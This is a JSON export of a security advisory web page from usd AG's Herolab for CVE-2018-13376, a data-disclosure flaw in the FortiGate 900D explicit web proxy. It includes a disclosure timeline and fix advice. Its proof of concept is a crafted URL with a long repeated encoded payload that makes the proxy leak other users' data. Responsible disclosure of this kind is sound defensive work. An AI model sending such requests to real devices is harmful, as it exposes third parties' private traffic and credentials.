{"id":16583,"date":"2021-07-08T09:46:52","date_gmt":"2021-07-08T07:46:52","guid":{"rendered":"https:\/\/herolab-usd.formwandler.rocks\/security-advisories\/usd-2018-0031\/"},"modified":"2021-07-19T14:09:43","modified_gmt":"2021-07-19T12:09:43","slug":"usd-2018-0031","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2018-0031\/","title":{"rendered":"usd-2018-0031"},"content":{"rendered":"

[et_pb_section fb_built=\"1\" _builder_version=\"4.9.4\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n

usd-2018-0031 | Fortigate 900D \u2013 The FortiGate explicit web proxy\/ V. 5.6.2 Build 1486 (GA)<\/span><\/h1>\n

<\/span>
Advisory ID<\/strong>: usd-2018-0031<\/span>
CVE number<\/strong>: CVE-2018-13376<\/span>
Affected Product<\/strong>: Fortigate 900D<\/span>
Affected Version<\/strong>: V. 5.6.2 Build 1486 (GA)<\/span>
Vulnerability Type<\/strong>: Sensitive Data disclosure<\/span>
Security Risk<\/strong>: High<\/span>
Vendor URL<\/strong>: <\/span>http:\/\/help.fortinet.com\/fos50hlp\/54\/Content\/FortiOS\/fortigate-WAN-opt-54\/web_proxy.htm<\/a>
Vendor Status:<\/strong>: Fixed<\/span><\/p>\n

<\/h3>\n

Description<\/h3>\n

When an unauthenticated specific request is sent to the Web proxy page, the server returns random data. This data contains content from other users of the Web proxy. GET parameters and various other sensitive data can be spied out.<\/span><\/p>\n

<\/span><\/p>\n

Proof of Concept<\/h3>\n

The device is being used as \u201cExplicit Proxy\u201d. The following features are activated: AV, Web, App, IPS, SSL Inspection. The following prepared URL discloses data of<\/span><\/p>\n

[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]https::\/\/store.example.com\/...
\nhttp:\/\/10.100.136.21:8080\/?user=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00r=as%27`%3Ch1%3E%00<\/code><\/pre>\n

[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n

\n
\n

Fix<\/h3>\n

The request presumably triggers an overflow which returns sensitive data from the memory.<\/span>
Therefore the user input should always be filtered. Moreover it also should be checked for buffer overflow.<\/span><\/p>\n

<\/h3>\n

Timeline<\/h3>\n
    \n
  • 2018-10-12 First contacted vendor.<\/li>\n
  • 2018-11-22 Fortinet released PSIRT Advisory FG-IR-18-325<\/li>\n
  • 2018-12-07 First Published<\/li>\n<\/ul>\n

    <\/h3>\n

    Credits<\/h3>\n

    These security vulnerabilities were found by Christoph Cierpka and Lars Neumann of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n

    [\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"

    usd-2018-0031 | Fortigate 900D \u2013 The FortiGate explicit web proxy\/ V. 5.6.2 Build 1486 (GA) Advisory ID: usd-2018-0031CVE number: CVE-2018-13376Affected Product: Fortigate 900DAffected Version: V. 5.6.2 Build 1486 (GA)Vulnerability Type: Sensitive Data disclosureSecurity Risk: HighVendor URL: http:\/\/help.fortinet.com\/fos50hlp\/54\/Content\/FortiOS\/fortigate-WAN-opt-54\/web_proxy.htmVendor Status:: Fixed Description When an unauthenticated specific request is sent to the Web proxy page, the server returns […]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16583","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16583","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16583"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16583\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16583"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}